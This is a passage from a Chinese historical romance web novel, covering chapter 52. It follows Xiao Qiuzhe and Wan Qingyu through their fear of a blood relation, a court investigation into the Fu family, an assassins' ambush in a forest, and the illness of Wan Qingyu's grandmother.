“没有但是和如果。”萧秋折打断她,“别再提这件事了,我不会去查。” 他有些无奈地按了按发涨的眉眼。 晚青妤这一会也固执起来,心里也很焦急:“事情总归弄清楚,就像方才,若不是有顾虑,我们不就在一起了吗?我也想和你在一起啊!你可以不在乎,但是我很在乎,我不想一辈子稀里糊涂,连一起睡个觉都要带着一肚子疑惑思虑再三。” “往最坏了打算,如果……我们真的有血亲关系,或许也挺好。我多了一位兄长,你多了一个妹妹,我们一样可以有深厚的情谊,也可以经常相见。到时候,我也会常去亲王府看你。” “挺好?”萧秋折听到这话,终是压抑不住心中的情绪,眼眶瞬间发红了,“你告诉我,这怎么能算挺好?那怎么能一样呢?一个是亲情,一个是爱情。晚青妤,你说怎么能一样?你让我怎么接受?” 他说着,情绪愈发激动,声音微微发颤:“晚青妤,我喜欢你,我真的很喜欢你。这句话我从前未曾说过,但今日我一定要告诉你。从七年前开始,我便已经爱上了你。当初迎娶你,也是因为喜欢。” 他说着,抬手扯开胸前的衣襟,露出左胸口上一道深深的疤痕。嗓音低哑地道:“你看,这道疤是两年前付钰书刺下的。他因我娶你,持剑怒冲冲地找上门来,要取我 性命。那一剑刺下来,我未曾躲闪,甚至连动都未动一下。当时哪怕是死,我也不会放手。所以我硬生生地挨了他一剑,那一剑差点要了我的命。可是晚青妤,那是我为了留住心里的那份爱啊!我连命都可以不要。” 他的声音愈发低沉:“我知道,这两年你在山上住着,我对你不够关心。可那是因为每次见你,你都躲着我。我许多次悄悄上山,远远地站在角落里,看着你在院子里晒太阳、看书。我多想进去对你说:‘晚青妤,跟我回家吧。’可我却不敢。” “或许是因为不够自信,又或是因为赌气,我总觉得你心里只有付钰书。哪怕我挨了那一剑,哪怕我将你娶回了家,你或许从未放下过他。我很迷茫,也害怕给不了你想要的生活,所以这两年,我唯唯诺诺,不敢靠近你。” “我知道你心里也有我,你也是喜欢我的,对不对?不然,七年前你怎么能写出那样真挚的信?如今你的眼神、你的话语、你的一举一动,都在告诉我,你也是爱我的,你也离不开我。” 他握住她的手,声音近乎恳求:“糊涂一点不好吗?你放心,我可以让这件事永远不再被人提起。我会封住所有人的嘴,只希望你也别再想、别再提了。” 他将他们可能有血亲关系的事情告诉她,这是他二十几年来做过最后悔最愚蠢的一件事,如今局面难以收拾,他心中慌乱至极。 “晚青妤,我不在乎,我什么都不在乎,我只要你。” 晚青妤未曾想他会如此激动,她只是想弄清真相,如此才能安心的与他在一起。 他一定是查到了什么,不然不会这般激动。 她依旧道:“这件事若你不愿去查,我想办法去查。” 她想办法。 萧秋折苦涩一笑:“晚青妤,我告诉你,此生我们只能是夫妻关系,没有第二种可能。” 他的命该有多苦啊?年少时为亲情吃了那么多苦,如今却又为爱情所困。这一切简直像是一场荒唐的笑话。 他再也无心用饭,努力平复了下心情,起身道:“天色已晚,外头还下着雨,我今晚有件事需要处理,先回去了。你再多吃些。” 他转身就要走,晚青妤一把拉住他:“你别生气,外面雨下得大,你待会再走。” “我怎么能不生气?你知道我生气还要说?” “我也是因为烦躁。”她一倾身,搂住他的腰,把脸贴在他身上,“你总是亲得我受不住,我还要努力让自己清醒,其实挺折磨的。这样一次次下去,我也能发疯。你听话,先查清楚好不好?若是我们真的没有任何血亲关系,到时候我比你还要主动。” 她用脸颊蹭了蹭他:“你别生气了。” 她…… 他怎么舍得再生气。 他揉了揉她的脑袋:“好,我不生气。” 晚青妤见他情绪平稳下来,这才松开了他,将他送至屋外。 时下雨势突然渐大,凉意袭人。晚青妤取了一把伞,递给他,轻声叮嘱:“千万别淋着雨。回去后让太医再帮你看看伤口,记得早些休息。白日里也要按时换药,别忘记用膳。我之前见你胃口不好,饭也吃得少,可如今你有伤在身,一定要多加调养。” 她总是有那么多关心的话,一字一句,温柔入心。 萧秋折点着头,接过她手中的雨伞,说了一句“你早点休息”便转身踏入雨中。 萧秋折刚出亲王府,方齐便迎上前来:“你一直不出来,我还以为你忘记了与状元郎兄弟俩见面的事,要留宿在这里。” 萧秋折心情依旧不好,他上了马车,向东街疾驰而去。到了东街,他踏入茶楼,发现状元王庭与王珂早已在等候。两人见他进来,连忙起身行礼。 王珂上前一步,神色凝重道:“萧大人,您之前让我查的事,如今有了些眉目。我找到了一个杀手组织,其中有两名杀手曾为京城一大户人家办过事。他们所接的差事非同小可,据说与当年太师大人和准驸马的案子有关。” 萧秋折闻言,眉头紧锁,沉声道:“当真?可查清了雇主是谁?” 王珂摇头:“雇主尚未查明,那两名杀手如今已成哑巴,舌头被割掉了。不过,我已将他们带到京城,您随时可以审问。此外,那个杀手组织早已解散,听说他们当年接了一单大生意,名单上列了许多人,京城里那些离奇死亡的人,恐怕都与此有关。” “若想揪出幕后真凶,必须找到当时组织里的所有杀手。可这些人行踪诡秘,一旦解散,便隐姓埋名,远走他乡,要想找到他们,无异于大海捞针。不过,您放心,我会尽力追查,只是希望您能多派些人手相助。” 萧秋折点头:“此事能有进展,多亏了你。我会派人协助你,你出行也要当心。” “萧大人放心。” 这时,王庭从袖中取出一本册子,递给萧秋折:“萧大人,这是我在翰林院查到的一些资料。这些卷宗中,有许多与付家有关联的记载,且这些卷宗在付钰书进入翰林院之前便已存在。翰林院一向对卷宗管理严格,绝不允许宗派思想渗透其中。付钰书刚进翰林院不久,想必动这些卷宗的人并非他本人,而是他的叔父。” “他的叔父曾在翰林院任职,手脚不干净,两年前因贪污受贿被皇上贬至外地。当时他的罪责本应砍头,但因付家的势力,皇上只是将他发配。若是我们能抓住此人,或许能查到付家祸乱朝政的证据。” 王庭继续道:“如今付家势力渗透朝堂,付钰书又进了翰林院,不知是否与他叔父一样,心怀不轨。平日里我与他相处,觉得他为人还算和善,言行举止与付家其他人有所不同。他才学广博,确实是个才子,但他毕竟是付家之人,若付家真有祸乱朝纲之心,必须严查每一个付家之人。” 萧秋折接过册子,翻看几页,沉声道:“此事我会派人处理,务必找到付钰书的叔父。一旦抓到此人,后续之事便好办许多。” 王庭点头。萧秋折合上册子:“付家之事,牵涉甚广,务必小心行事。” 他说到这里,郑重地向二人拱手致谢:“多谢二位兄弟出手相助,日后萧某定当厚报。” 王庭与王珂连忙还礼道:“萧大人不必客气,此乃理所应当。” 王庭思忖着,又道:“还有一事,需告知萧大人。皇上那边已有意将公主许配给付钰书。若此事成真,付家的势力将更加难以撼动。” 萧秋折闻言,眉头紧锁,他自然清楚,付家近年来势力不断扩张,若公主真嫁入付家,无疑是如虎添翼。如今看来,皇家已对付家深信不疑,局势愈发复杂。 “此事我已有所耳闻。若皇上真有意将公主许配给付钰书,我们也难以阻止。眼下唯一的办法,便是尽快查明付家的所作所为,找到确凿证据,敲醒皇上。只要撕开一道口子,后续之事便好办了。” 王庭点头应道:“萧大人放心,此事我会盯紧些,绝不让付家有机可乘。” 萧秋折又与二人商议了几句,随后起身告辞,径直回了亲王府。 他刚踏入府门,便见陆临在厅中焦急地踱步,见他回来,急忙迎上前:“你可算回来了!让我好等。你让我抓的人,我已抓到了,现下正关在城外。你可要现在去见一见?” 此时外头雨势未减,萧秋折虽满身疲惫,心情复杂, 却仍强打精神,对陆临道:“现在就去,此事耽搁不得,你随我一同去。” 陆临皱眉,语气中不满:“这么大的雨,我可不想出门。再说了,你身上还有伤,脸色这么差,何必急于一时?人已抓到,明日再见也不迟。” 萧秋折摇头:“不行,必须今日去。我要尽快将所有事情解决,一刻也不能拖。” 陆临见他神色凝重,“嘶”了一声,挑眉问道:“怎么,遇到什么大事了?”仔细瞧了瞧他的神色,有些不对,“你今天心情怎么这么差?” 萧秋折扯了件氅衣往门外走,低声道:“我和晚青妤亲吻的时候,她摸到了我的背。” 陆临没听太清,只听到“亲吻”二字,他激动地跑上前问道:“你和晚青妤亲吻了?你们两个已经进展到这种地步了?怎么样怎么样,快给我讲讲,怎么亲上的?” 萧秋折压了下眉头:“这不是重点,重点是她摸到了我的背。” “上手了?”陆临挑了下眉头,“看来你们两人动静还挺大的,她都摸到你的背了。” 萧秋折瞥他一眼,他忽然恍然“哦”了一声,急忙问:“她看到了?” 萧秋折摇头:“没有,只是摸到了。” 陆临皱眉:“那你有没有告诉她?” 萧秋折依旧摇头:“没有。” 陆临回想起七年前萧秋折所经历的那件令他至今都毛骨悚然的事情,不由得打了个寒颤。 “那你打算什么时候告诉她?这件事你总归要说的。” “我怕她知道了会害怕,也怕她……嫌弃。” 第52章 第52章他最近好像有点黏人。 陆临还是头一回从萧秋折口中听到“嫌弃”二字。两人自幼一同长大,陆临深知萧秋折曾历经何等磨难,那些苦难如同烙印,深深刻在他骨血之中,难以抹去。 然而,萧秋折却如钢铁般坚韧,坚韧得令人心生敬畏。陆临从未想过,有人能在那般绝境中咬牙挺过来。若是换作他,恐怕早已选择离开这世间,不愿苟且偷生。 可萧秋折不同,他从不将那些过往的苦痛示于人前,亦不曾让旁人因他而心生阴霾。他一身清贵,傲骨铮铮,任谁见了,也想不到他竟会因“嫌弃”二字而心生忐忑。可见,他对晚青妤的感情,何其深沉。 陆临轻轻拍了拍他的肩,温声道:“你不必如此自苦。世人看事,各有不同。我以为,你该放下些戒备,否则,终究困于过往,难以走出。若你一直如此,晚青妤也只会为你伤心难过。” 陆临所言在理,萧秋折心中自是明了。只是,眼下他与晚青妤之间,尚有许多未解之结,贸然开口,只怕会在这本就伤痕累累的情分上再添新伤,甚至将她推得更远。他沉吟片刻,终是低声道:“此事,我会仔细思量,寻个合适的时机,郑重与她言明。” 说罢,他执起一把油纸伞,推门而出。陆临无奈摇头,亦随手取了伞,紧随其后。 萧秋折问他:“你可知道,皇上欲将公主许配给付钰书?” “不知。”陆临不可置信,“我竟未曾听闻。若付钰书当真迎娶公主,于你而言,岂非好事?他素来对晚青妤纠缠不休,如今皇上为你扫清障碍,你该庆幸才是。” 萧秋折却摇头:“付钰书若娶了公主,付家在朝中的权势必将更盛。日后若要对付他们,只会难上加难。付家根深叶茂,若不斩草除根,终是后患无穷。更何况,付钰书对晚青妤执念极深,若他权势愈大,难保不会做出什么疯狂之举,伤及于她。” 这是萧秋折最担心的。 陆临叹气道:“看来你们这场纠葛真的没那么容易收场。” 情事最难解。 二人行至门前,萧秋折吩咐方齐:“派人前往礼部一趟。另外再多派人手,务必寻到晚青桁的下落。” 方齐领命而去,萧秋折则与陆临坐车出了京城。他们在城外见到了太后的那位远房外甥。此人名唤李承安,原是太后的亲信,因贪赃枉法被发配至外地,却仍不知收敛,仗着太后的威势在当地横行霸道,欺压百姓。 陆临早已打探清楚,此人自打做了个小官,便贪欲渐起,先是挥霍光了家中积蓄,后竟胆大包天,挪用公款,肆意妄为。地方官员因忌惮他与太后的关系,无人敢动他,只得睁一只眼闭一只眼,任由他胡作非为。百姓苦不堪言,却无处申冤。 李承安生得贼眉鼠眼,举止猥琐,一身华服也掩不住他那股子贪慕虚荣的市井之气。萧秋折与陆临将他押至一处僻静之地,冷眼审问。 李承安起初还嘴硬,不肯吐露半分,但在萧秋折的威压之下,终究扛不住,将太后多年来在幕后摄政的种种隐秘一一招供。 原来,太后虽为女子,却对权势有着极深的执念。自先帝驾崩后,她便暗中插手朝政,许多地方官员皆是她的亲信,地方官场大事小情她都要暗中参与。 她早已习惯了那种高高在上、掌控一切的快感,甚至渐渐迷失了自我,从最初的庇护亲友,到后来的结党营私、独揽权势,贪心越来越大。而且她与付钰书的父亲的关系甚好,也非常推崇付家思想,故而私下对付家所作所为视而不见,甚至默许。 待问完话,二人将李承安关押妥当,随后寻了家小馆,略用了些饭菜。天色渐暗,雨势未歇,二人便启程回城。 行至一片密林时,忽听得四周风声骤紧,马蹄声杂乱,紧接着,大批黑衣人如鬼魅般从林中涌出,将马车团团围住。 雨声滂沱,马夫慌忙勒紧缰绳,马儿嘶鸣一声,前蹄高高扬起。萧秋折与陆临顿感不妙,迅速跃下马车。 陆临巡视一圈一把抓住萧秋折的衣袖:“糟了,这么多人,是要杀你,还是要杀我?” 萧秋折神色冷峻,手已按在腰间佩剑上:“不管杀谁,今日这一战,怕是免不了了。” 陆临望着四周黑压压的人群,额角渗出一层冷汗:“这么多人,咱们怎么杀得出去?” 萧秋折手中长剑已然出鞘:“杀不出去也得杀,总之不能死在这里。” 陆临咬了咬牙,也抽出佩剑,接着黑衣人也纷纷拔剑出鞘。 陆临听得那齐刷刷的拔剑声,只觉头皮发麻,心中懊悔不已。早知如此,便该多带些人手,如今只他与萧秋折二人,如何应付得了这许多刺客?正思忖间,黑衣人已如潮水般涌了上来,招招狠辣,剑剑直取要害。 刀光剑影间,雨声、剑声、喊杀声交织成一片,林中杀气弥漫,血水混着雨水,染红了脚下的泥土。 —— 今夜的雨,绵密而漫长。自萧秋折离去后,晚青妤的心绪便如这阴沉的天气一般,久久难以平复。她独坐房中,愁眉不展,心中只盼着这场风波能早日过去。正自出神,忽听得门外传来急促的脚步声。 “小姐,不好了!”玉儿匆匆跑进来,神色慌张,“外祖母突发心悸,您快去瞧瞧吧!” 晚青妤闻言,霍然起身,顾不得披衣撑伞,便径直往外冲去。外祖母年事已高,心脏向来不好,这些年一直小心翼翼调养,未曾有过大碍。如今突然犯病,若是救治不及,只怕性命难保。 她心急如焚,一边疾步前行,一边回头问玉儿:“可请了大夫?情况如何?可曾稳住?” 玉儿紧跟在身后,手忙脚乱地为她撑伞,气喘吁吁地答道:“奴婢也不清楚,方才有个小厮急匆匆来报,只说让您赶紧过去瞧瞧。” 晚青妤匆匆上了马车,马车疾驰,不多时便到了外祖母的宅邸。 宅中灯火通明,晚青妤一路小跑至外祖母房前,见张攸年与其父正守在门外。她急声问道:“外祖母如何了?怎会突然犯病?” 张父见她赶来,神色凝重地回道:“我也不甚清楚。许是这几日天气阴冷,老夫人身子本就虚弱,入夜后一直咳嗽不止,后来便突发心悸。我已请了太医,此刻正在里头诊治。” 晚青妤眉头紧锁,心中愈发焦急。一旁的张攸年见状,安慰道:“你莫要太过忧心。我已请了大夫在里边诊治,外祖母福泽深厚,定会逢凶化吉。” 晚青妤素来不信什么“吉人自有天相”的虚言,她深知,但凡病情加重,便是性命攸关之事。她在门外来回踱了几步,心中愈发焦灼,忍不住问道:“大夫是从何处请来的?” 张父回道:“是从街上请的一位颇有名气的郎中,医术应当不差。” 正说话间,房门“吱呀”一声被推开,大夫缓步走出,皱着眉,叹着气,道:“病情有些棘手,你们先进去看看吧。” 棘手?晚青妤心中猛然一沉,顾不得多问,径直冲进房中。只见外祖母躺在床上,面色青白,一手紧紧捂着胸口,呼吸急促,好像吸一口气都极为艰难。 晚青妤心中一阵慌乱。连大夫都束手无策,外祖母的病情岂非凶险至极?她猛然想起,亲王府中似乎有一位太医,乃是皇家特意指派给萧秋折的御医,医术定然高明。她连忙转身对玉儿道:“玉儿,你速去一趟庆王府,务必请那位太医前来为外祖母诊治!” 此时天色已晚 ,雨势未歇,玉儿道:“小姐,这般时辰,奴婢怕亲王府的人不肯放我进去……” 晚青妤顾不得许多,急声道:“你便说是我不适,需太医诊治,快去。” 说罢,她又唤来一名小厮,陪玉儿一同前往。 晚青妤一直守在外祖母跟前,直到天边泛起鱼肚白,玉儿才带着太医匆匆赶来。 晚青妤一见太医,急忙上前道:“太医,求求您,快救救我外祖母,她的呼吸越来越微弱了……” “先别着急。”太医进了房中。 几人退出房间,晚青妤却仍心神不宁,双手紧紧攥着衣袖,这一夜,她未曾合眼,双眼红肿如桃。 张攸年望着她,满眼心疼,轻声道:“别担心,有太医在,外祖母定会无事的。” 张父也在一旁劝慰:“孩子,别太难过了。我去给你煮些热粥,暖暖身子。” 或许是这段时间积压了太多心事,晚青妤心痛难耐,再也无法压抑。她不明白,为何事情一桩接一桩,为何身边总有那么多麻烦?这些纷扰该如何解决?她只觉得一片茫然,也很心累。 张攸年伸出手想要拍拍她的肩膀,可手悬在半空,终究没敢落下。他犹豫片刻,指尖微微蜷缩,最终只是轻叹一声,收回了手。 太医在房中诊治了许久,终于推门而出。晚青妤急忙起身,声音颤抖地问道:“太医,我外祖母如何了?情况可算稳定?有没有性命之忧?” 太医长舒一口气,道:“情况确实有些严重。老夫人年事已高,加之近日阴雨连绵,身子骨本就虚弱。老夫发现她近来饮食不佳,有些营养不良,这才导致突发心悸。眼下病情暂且稳住了,但往后如何,还需好生调养。你们务必悉心照料,切莫让她再受刺激,否则再犯起来,只怕更为凶险。” 晚青妤听罢,心中稍安:“多谢太医,我们一定好生照顾外祖母,绝不敢有半分疏忽。” 太医回道:“少夫人不必多礼,此乃医者本分。药方我已开好,你们务必按时给老夫人服下。老夫暂且回去,若后续有何情况,可随时派人来寻我。” 晚青妤心知太医此次前来,多半是看在萧秋折的面子上,心中甚是感激。 外祖母的病情总算稳定下来,晚青妤稍安,紧绷的神经也稍稍放松。这时,张父已备好了饭菜,温声劝道:“青妤,忙了一夜,你也该吃点东西了,身子要紧。” 桌上摆满了张伯伯精心准备的饭菜,每一样都色香俱佳,可晚青妤望着这些菜肴,心中却依旧沉甸甸的,毫无胃口。她勉强夹了几口,味同嚼蜡,心中思绪纷乱,难以平静。 张攸年为她夹了些菜,又盛了一碗热粥,放在她面前:“你先喝点粥,暖暖身子。这一夜你未曾合眼,如今外祖母的病情已稳住了,你也不必太过忧心。我去把外祖母隔壁的房间收拾一下,待会儿你去躺一会儿,歇息片刻。” 晚青妤心中虽满是忧虑,却也不忍拂了他的好意,端起碗抿了几口热粥,只觉得一股暖意缓缓流入心间,身子也稍稍舒坦了些。她沉吟片刻道:“我思来想去,还是打算将外祖母送到舅舅那儿去。她年事已高,独自住在这儿总是不妥,需得有亲人贴身照料。我实在放心不下,待会儿便让玉儿去舅舅家一趟,请他过来商议。” 张攸年闻言,手中夹菜的动作微微一顿,抬眼看向她,语气中带着几分迟疑:“你是担心我父亲照顾不好外祖母?” 晚青妤解释道:“你别误会,我并非此意。只是外祖母年岁大了,确实需得有亲人常伴左右。张伯伯虽尽心尽力,可他年纪也大了,许多事难免力不从心,也该好好歇息了。回头我会为你和张伯伯备些银两,你们二人在京城另置一处宅子,也好安享晚年。” 张攸年听罢,眉头不由一皱,心中泛起一阵酸涩。 她是想赶他们走? 他沉默片刻,他低声道:“此事……不妨等外祖母病情好转些再商议。毕竟她老人家在这里住了多年,骤然换地方,恐怕会不习惯。况且,她也早已习惯了我父亲的照料。” 顿了顿,他又道:“且不说你舅舅,单是你舅母的性子,你也清楚。她那般嚣张跋扈,眼里哪容得下外祖母?当年外祖母执意独居于此,便是因与你舅母闹了矛盾,不愿与他们同住。再说你舅舅,性子优柔寡断,若他心中真有外祖母,这些年为何不将她接去?平日里也少见他来探望。外祖母若真去了那儿,只怕日子未必比现在舒心。” 张攸年所言不无道理,可她心中仍是不安。她轻叹一声,揉了揉发涨的眉眼。 张攸年见她神色憔悴,又温声劝道:“你母亲去照顾你姨母已有一段时日,想必快回来了。依我看,不如先让外祖母继续住在这里,我和父亲定会尽心照料。你若有空,便多来陪陪她。外祖母上次见你后,一直念叨着你,盼你能多留些时日。如今二哥那边情况已稳,你不如暂且住下,陪外祖母一段日子。” 好像只能如此了。 张攸年见她没做声,又道:“我与父亲照顾外祖母多年,早已将她视作自家人。我自幼丧母,是乔家大院给了我一个家,外祖母待我如亲孙,我心中对她满是感激。至于你,若日后遇到什么麻烦,尽管来找我。你们家对我们父子的恩情,我这辈子也还不清,能为你和外祖母做些力所能及的事,我心里也踏实,我也希望能为你分忧。” 他说着,又将那碗粥往她面前推了推,语音温和了许多道:“你再喝些粥,暖暖身子。待会儿去歇息片刻,剩下的事交给我便是。” 晚青妤依旧没说话,总觉得他不单单只是对她起了心思这么简单。 这一日,晚青妤一直陪在外祖母身旁,寸步不离。外祖母服了药后,情况好转许多,只是拉着她的手不肯松开,显然是想让她多陪陪自己。待到天色渐晚,她不便再留,便等外祖母睡熟后,准备回府。 张攸年一直陪在一旁,一边照料外祖母,一边关切地看着她。临行时,他执意要送她回府。晚青妤却摇头道:“外头有车马和方于随行,你不必送了。” 张攸年见她坚持,也未再多言,只目送她离开乔家大院。 晚青妤回到府中,还未及歇息,管家便匆匆迎上前来,神色凝重道:“小姐,今日有个小厮前来寻您,说是有一位名叫袁安河的人要见您。”说着,他从袖中取出一封信递上。 晚青妤接过信,拆开一看,是袁安河所写,袁安河在信中提及,他因查案之事遭人暗算,如今身受重伤,处境艰难,恳请她尽快前去一见。晚青妤顿感不妙,当即转身便要出门。 玉儿见状,急忙上前劝阻:“小姐,天色已晚,不如明日再去吧?有什么事也不急于这一时。” 晚青妤却摇了摇头,袁安河所查之事关系重大,如今他遭人暗算,此事耽搁不得,她必须立刻去见他。 “无碍,你别紧张。”她快步走到院中,对方于道:“今日恐怕要麻烦你陪我走一趟了。” 方于闻言,眉头微皱。自昨日至今,他一路跟随晚青妤奔波,未曾歇息片刻。如今夜色深沉,她又要外出,实在令人担忧。他沉声道:“少夫人,天色已晚,此时外出恐不安全。公子吩咐过,务必护您周全。您若有要事,不如明日再办?” 晚青妤恳求道:“此事关系重大,我必须 即刻前往。你放心,萧秋折那里我会与他解释清楚。你只需护我周全,其余之事不必多虑。” 方于见她神情焦急,虽仍有顾虑,却也不便再阻拦。他转身吩咐人备好马车,又点了两名护卫随行。 几人到了袁安河的住处,门前还守着几名身形高大的男子,神色警惕,似是出了什么大事。晚青妤被人引着进了客栈,径直来到袁安河的房间。 推门而入,只见袁安河正躺在床上,面色苍白,冷汗涔涔,身上血迹斑斑,一旁的大夫正为他处理伤口。 “袁大人,您怎会伤成这样?”晚青妤上前问道。 一旁的大夫叹了口气,道:“这位大人是被人所刺,腰部受了重伤。幸亏救治及时,否则性命难保。今日服了药,精神已好了些,我刚为他换了药。” “被人所刺?”晚青妤惊愕不已,急忙追问,“是谁敢对您下手?” 袁安河微微动了动身子,冲大夫摆了摆手,大夫点头应下,收拾好药箱,退了出去。袁安河又看了一眼站在房内的玉儿和方于,眉头微皱。 晚青妤会意,转身对二人道:“你们先到外面等着。” 方于认得袁安河,早年因公务之事与他打过交道。前些日子在付家书库门前,书库管事曾提及有一批书籍欲送往袁安河所辖之地,却被袁安河拒绝了。他未曾想到,晚青妤竟与袁安河有所联系。 方于心中担忧,迟疑着未动。晚青妤见状道:“方于,你放心,我与袁大人只是说几句话,不会有事。”方于这才犹豫着退出房间。 待房门关上,袁安河缓缓吐出一口气,从枕下摸出几本册子,递给晚青妤:“我恐怕在京城待不久了。有人已察觉我在查利州之事及付家的勾当。昨夜我外出办事,遭人埋伏,险些丧命。我身份恐已暴露,日后怕是无法继续追查。这些是我整理的证据,有关利州的,还有付家一些违禁书籍的记录。你且收好,京城之中,我已无信任之人,只能托付于你了。” 他缓了口气道:“如今利州局势愈发严峻,若不及时遏制,恐会引发暴乱,殃及整个国家。可朝堂之上,竟无一人敢插手此事。我曾找过几位大人,他们皆明哲保身,无人愿趟这浑水。我如今生死未卜,只能将这些交予你。你且寻些可靠之人,看能否查出杀害你父兄及我父亲的凶手,并设法控制住利州的局势。” 晚青妤接过册子,匆匆翻了几页,心中愈发沉重。她将册子仔细收好,对袁安河道:“袁大人,您放心,我会想办法找到更有力的人来接手此事。您如今伤势未愈,又被人盯上,不宜再插手。这几日您暂且在此养伤,我会派人暗中保护您,待风头过了再做打算。” 袁安河强忍着身上的剧痛,又道:“之前我一直对萧秋折心存疑虑,但你近来与他接触颇多,想必也了解了他的为人。若你觉得他可靠,不妨将此事交予他处理。他手握权柄,或许能更快查明真相。” “袁大人放心,此事我会仔细思量,定会寻个稳妥的法子。” 晚青妤不敢在此久留,生怕给袁安河招来更多麻烦,只得匆匆告辞。 回去一路上晚青妤心中思绪纷乱。袁安河遇刺一事,绝非偶然。先是二哥被火烧,后是四弟失踪,如今连袁安河也遭人暗算,这一切显然是有心人在背后操控。 那些人手段狠辣,连袁安河这样的朝廷重臣都敢下手,可见其势力之大。她不禁想到萧秋折,他是否也身处险境? 昨日她忙于外祖母之事,未曾与他见面,也不知他如今如何。昨夜分别时,他神色郁郁,似是心事重重,她心中一直挂念,却无暇顾及。 回到晚府,晚青妤依旧心神不宁。她躺在床上,辗转反侧,难以入眠。翌日一早,她起身准备再去外祖母家探望,却发现方于已不见踪影。她唤来玉儿,问道:“方于呢?今日怎不见他?” 玉儿摇头道:“奴婢也不知,今日一大早方侍卫便急匆匆地离开了,连句话都未留下。” 晚青妤心中陡然升起一股不安。她急忙找来管家,问道:“我昨日一直在外祖母那里,亲王府的人可曾来过?” 管家摇头:“昨日并无亲王府的人前来,姑爷也未曾来过。” 晚青妤愈发觉得不对劲,联想到昨日袁安河遇刺之事,更是惴惴不安。于是,在前往外祖母家的路上,她特意绕道去了亲王府。 门官见她突然到来,神色间闪过一丝惊讶,随即躬身行礼道:“少夫人,您稍候片刻,容小的进去禀报一声。” 玉儿闻言,眉头一皱:“少夫人回自己家,还需禀报谁?你莫不是糊涂了?” 门官赔笑道:“姑娘莫急,小的只是去告知公子一声。” 玉儿:“少夫人是公子的妻子,回府是天经地义,何须阻拦?我们直接进去便是。” 门官面露难色,正欲再劝,晚青妤却已径直踏入府中,一路疾步朝兰风居走去。不知为何,她的手心沁满了冷汗,眼皮也跳个不停,仿佛有什么不好的预感。 她慌慌张张地跑到兰风居,只见方于和风起正守在门前。二人见她突然到来,皆是一愣,互相对视一眼,方于上前一步,低声道:“少夫人,您稍候片刻,容属下进去通报一声。” 晚青妤见他们神色有异,心中疑虑更深,眉头紧蹙,径直推开房门,踏入屋内。刚一进门,一股浓重的汤药味夹杂着淡淡的血腥气扑面而来。她脚步一顿,抬眼望去,只见萧秋折正坐在桌前,太医正为他脖颈上的伤口上药。 萧秋折见她突然闯入,显然有些意外,微微一愣,随即低声问道:“你怎么来了?” 晚青妤望着他,心中一酸。他面色苍白,脸颊消瘦,眼圈泛黑,嘴唇干裂,与前两日那精神奕奕的模样判若两人。他脖颈上有一道长长的伤口,还在流血,看得她心头一紧,跑上前问道:“你怎么受了伤?” 太医见她过来,恭敬地唤了一声“少夫人”,随后解释道:“公子是被刀所伤,险些伤到了要害,幸得处理及时,目前并没有生命危险。就是今日伤口又开始流血,我只得再为他重新缝合伤口。” 晚青妤听罢,鼻尖一酸,眼眶顿时泛起泪光。 伤口很大,太医一针针下去,看的人都心惊,然而萧秋折只是微皱了下眉头,一声不吭。鲜血流了太医一手,也流了他一身。 太医帮他缝合完伤口,收拾好药箱,悄然退了出去。 屋内只剩下二人,晚青妤强忍住泪水,看了看萧秋折,一把扑进他怀里,哽咽道:“为什么你受伤了也不告诉我?都过去了两日了竟然也不告诉我。在哪里受的伤?” 她突然抱过来,萧秋折愣了一下,随即伸手环住她,清声道:“我和陆临出城时,遭遇刺客围攻,打斗中受了点伤。对方人多势众,所幸我和陆临还算扛得住,厮杀半夜才突围而出。我听太医说你外祖母病了,怕你担心,便没告诉你。” 一听到被围刺,晚青妤的泪水簌簌落下,她吸了吸鼻子,凝噎道:“你脖子上的伤疼不疼?除了这里,还有哪里受了伤?” 萧秋折抚了抚她的脑袋,道:“伤口不碍事,过几日便好了,你不必担心。” 他低头审视着她憔悴的面容,眉头微蹙,语气中带着心疼:“这两日为了外祖母的事,你是不是没好好休息?眼睛都肿了。” 他这一问,晚青妤的眼泪便如断了线的珠子般滚落下来。她望着他,心中忽然想起昨日袁安河遇刺之事,顿时慌乱不已,只觉得又痛又无力。 看来,那幕后之人不仅对袁安河下手,连萧秋折也不打算放过了。 她问道:“你可知道是谁行刺你们?” 萧秋折将她拉起,让她坐在自己腿上,帮她擦了一下眼泪,回道:“此事颇为复杂。那晚我与陆临突围时,抓了两名刺客,审问后已大致锁定了幕后之人,只是此事还需进一步查证。” 他 现在尚不确定,那刺客是付钰书个人所为,还是付家指使。若是付钰书一人之过,最终受罚的只有他。若是付家所为,情节就严重了。 晚青妤从袖中掏出袁安河交给她的一些整理成册证据,递给萧秋折道:“这是袁安河收集的证据,里面有关利州百姓被付家蛊惑的记录,还有我父兄因付家书库书籍被害的线索。这些证据极为重要,若能查实,定能让真相大白。如今利州局势混乱,必须有一位有威望之人前去镇压,否则后果不堪设想。” 萧秋折接过册子,仔细翻看:“这些证据确实极为关键,对我们极为有利。利州之事我也听说了,只是皇上一直未作表态,不知是何用意。” 晚青妤:“袁安河如今受伤,身份暴露,已无法继续追查。你快想想,该如何控制利州局势?此事该交给哪位大臣处理?” 她顿了顿,又忧心忡忡道:“你如今有伤在身,职位又被削减,不宜亲自前往。再者,以你现在的身份,去利州恐怕难以服众。” 萧秋折沉吟片刻,回道:“有一人,完全可以胜任。” “谁?” “我父亲,王爷。” “王爷?他多年不问朝政,且你们父子之间……他愿意去吗?” 萧秋折将册子放在桌上,握住她的手,道:“我与父亲的关系已有所缓和。他答应帮我铲除那些陷害我们的凶手,也打算重回朝堂。此次若能平定利州之乱,父亲便可借此重振声威,夺回一些权柄。这便是……” 他说到这里,一时语塞,似乎找不到合适的词语来形容。 晚青妤接道:“这便是父子齐上阵了。如此,相信定会有更好的结果。” 萧秋折点头,搂得她更紧一些:“这还多亏了你。是你让我学会了我如何换一种方式处理问题。晚青妤,我一直担心照不到的阳光,现在一直照着我,暖着我。” 他说起情话来挺好听的。 萧秋折见她望过来,俯身在她唇亲了一口,温声道:“既然来了,我又受了伤,今日留下来陪我可好?晚上我想搂着你一起睡。” 想必没有哪位夫君像他一样可怜了,为人丈夫,每日都在求着妻子与自己同寝,却还总是求而不得,他自己都要气笑了。 晚青妤思忖了一会才道:“好,我陪你。不过,待会儿我得去瞧瞧外祖母,若她情况稳定了,我便回来照顾你。” 得到应允萧秋折望着她,目光落在她的嘴唇上,又伸手用指腹按了按,然后低头想要亲了上去。 她转头望了望门外,从他怀中起身,道:“时候不早了,快去吧!” 萧秋折拉住她的手,抬头望着她,眼中满是渴求:“你看我都受伤了,能不能亲一会儿再去?” 最近他好像有点黏人。 他见她不回答,扯了扯她,又恳求道:“就亲一会。” 